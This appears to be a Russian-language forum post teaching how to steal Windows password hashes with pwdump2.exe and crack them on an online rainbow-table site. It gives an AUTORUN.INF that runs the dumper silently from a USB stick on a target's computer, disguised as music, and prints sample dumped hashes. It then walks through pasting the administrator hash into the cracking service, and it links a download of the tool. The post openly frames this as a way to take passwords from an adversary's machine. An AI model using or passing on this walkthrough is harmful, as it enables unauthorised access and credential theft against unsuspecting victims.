Кто то прошлой недели расказывал про
RainbowCrack но как то скупо и мало. И я тоже про него ничего Вам не раскажу. Потому как таких програм уже развелось.
Речь пойдёт о программе
pwdump2.exe. Программка в использовании невероятно проста. Достаточно её запустить в командной строке например так :
pwdump2.exe > pass.txt
pass.txt анписал на случайно, потому как туда ушли хеши пользователей.
На канале ачата некий
BAY спрашивал зачем тырить пассы у друга (я до того описывал один способов применения, придумайте свой и напишите сдесь
). Ладно к другу идти не будем. Едём к недругу.
Флешки стали в сей час очень популярны. Создаём на ней файл AUTORUN.INF (например) с таким содержимым :
Код:
[autorun]
OPEN=pwdump2.exe > pass.txt
ICON=pwdump2.exe
Потом чёто там переписываем (новый альбом Бритни Спис илишто.) И без радости на лице (а то спалят) идём домой.
Содержимое :
Код:
administrator:1003:5c39211ab4ae778193e28745b8bf4ba6:e448a0e7ff51ae914a77465923486e68:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:3d26128f74c4b110d9e1cf5872a4fd43:b5122fd690836f3950962915ecb287ce:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:cd01cba60848faf3204a0389d1ac9ef3:::
VUSR_PZ1418:1004:c249e29af807bb32f6c000cbbff0ab93:19c11662fabc4372d38e06edab8c1ec5:::
Наша жертва например
administrator. Копируем хеш
Код:
5c39211ab4ae778193e28745b8bf4ba6:e448a0e7ff51ae914a77465923486e68
и заходим на страничку : http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/
и там где пишет
hash: вставляем наш хеш. Жмём Submit hash. Ждёмс около 5-10 секунд. И вот он пароль.
Так же можно проверить свой пароль если ввести его в поле
password:, нам выдаст хеш. Потом пробуем назад. Но єтот онлайн скрипт имеет не большую базу. А её то можно скачать по ссылкам :
SSTIC04-10k (388MB), for PCs with at least 256MB of RAM
SSTIC04-5k (720MB), for PCs with at least 512MB of RAM.
Вообщем всё это читаете на том же сайте.
Ах да. Где я взял pwdump2.exe? Если чесно то в гугле. Но если комуто тяжело искать то берите откуда брял я : http://www.doubleupsoftware.com/files/pwdump2.zip
На этом и буду процатся.
З.Ы. Это моя первая такого рода статья. Интересно Ваше мнение по поводу написания.